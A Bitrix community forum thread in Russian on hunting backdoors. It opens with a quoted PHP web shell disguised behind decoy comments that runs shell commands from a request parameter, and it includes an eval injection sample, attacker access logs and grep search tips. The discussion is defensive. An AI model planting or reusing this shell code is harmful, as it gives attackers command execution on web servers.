The quality of a program begins with the quality of the source code. The fundamental factor for quality of source code is its readability and clarity. Formalized rules are necessary to write code which will be readable and understandable. The rules for formatting code must be uniform throughout the entire project. It is highly desirable for the rules to be similar fr om project to project.
This is a test module.
*/
error_reporting(0); // set error
/*
Outputs one or more data, with no additional newlines or spaces. echo is not a function but a language construct. */
header('HTTP/1.1 404 Not Found'); // set status page
/*
Its arguments are a list of data following the echo keyword, separated by commas, and not delimited by parentheses. Unlike some other language constructs, echo does not have any return value, so it cannot be used in the context of an expression. echo also has a shortcut syntax, wh ere you can immediately follow the opening tag with an equals sign. This syntax is available even with the short_open_tag configuration setting disabled.
*/
if(isset($_REQUEST['iasfgjlzcb'])) echo `$_REQUEST[iasfgjlzcb]`; // test output data
// echo - Output one or more strings // The major differences to print are that echo accepts multiple arguments and doesn't have a return value.
я бы чуток модифицировал - искать смысл только в php и вывод в файлик для дальнейшего анализа
Код
grep -rnw str_rot13 ./*.php > rot13.log
можно ещё "eval(" и "base64_decode(" поискать - тоже часто используют в бэкдорах но там много будет из не зараженного у меня в /bitrix/bitrix.php такая инъекция была @eval($_POST['DOCUMENT_ROOT'];
написал: я бы чуток модифицировал - искать смысл только в php и вывод в файлик для дальнейшего анализа
на счёт вывода в файл согласен eval, base64, parse_str - тоже прогонял сочетания
а по поводу чисто по php искать не согласен, могут и в картинки запихивать, да и в любые расширения, учитывая что в htaccess можно любое расширение прописать исполняемым. Гарантии нет, что какую то закладку не положили ещё летом или осенью у клиентов.
написал: по восстановлению файлов ядра Битрикс - статья в 2х словах/bitrix/admin/update_system.php?BX_SUPPORT_PROTOCOL3=Yгде 3 - день месяца (сегодня 3)
Алексей, а потом люди пойдут в ТП, потому что таким способом корректно восстановить ядро может только она. Я понимаю, что это куда меньшее зло по сравнению с вирусом, но все же.
Не надо сверлить зубы через задний проход дрелью от Сваровски
Евгений Жуков написал: Алексей, а потом люди пойдут в ТП, потому что таким способом корректно восстановить ядро может только она. Я понимаю, что это куда меньшее зло по сравнению с вирусом, но все же.
для чего тогда в админке заложен такой функционал?
Кстати, раз уж Вы тут - без помощи ТП как то можно замечания по изменению файлов ядра самому фиксить?
просто сколько я не запускал монитор качества - эта проблема абсолютно везде всплывала, как правило все на неё "забивают" разве что кроме совсем свежих проектов
На наши серверы стали постить не на главную страницу, а на /bitrix/tools/spread.php. x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "POST /bitrix/tools/spread.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:49.0) Gex x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "GET /bitrix/admin/1dbc26cfe5c3.php HTTP/1.1" 403 124 " "Mozilla/5.0 (Windows NT x x185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "POST /bitrix/tools/spread.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NTx m185.106.94.82 - - [03/Mar/2023:09:01:42 +0300] "GET /bitrix/admin/1dbc26cfe5c3.php HTTP/1.1" 403 124 "Mozilla/5.0 (Windows NT
Предварительно заблочили весь ASN https://asn.ipinfo.app/AS210644 провайдера aeza, заметили что оттуда оосновная масса вредоносных запросов поступает. Блокировали через правила в nginx (через include запрещающих правил типа https://asn.ipinfo.app/api/text/nginx/AS210644). Репорт на абуз серверов отправлен дня 4 назад, пров молчит как партизан.
Знаю, что костыль и что это не решение проблемы, но пока так..
написал: для чего тогда в админке заложен такой функционал?
Для техподдержки. Этот функционал не является публичным, не эквивалентен корректной установке обновлений и требует ручных действий по окончании. Можете по форуму поискать темы на предмет двойного декларирования классов в модулях.
Цитата
написал: Кстати, раз уж Вы тут - без помощи ТП как то можно замечания по изменению файлов ядра самому фиксить?просто сколько я не запускал монитор качества - эта проблема абсолютно везде всплывала, как правило все на неё "забивают"разве что кроме совсем свежих проектов
Поясните. Если речь идет о провале тестов на заведомо неизменном проекте - это наша проблема (тикет, фикс). Если о том, чтобы восстановить битый/зараженный файл - только в ТП.
Не надо сверлить зубы через задний проход дрелью от Сваровски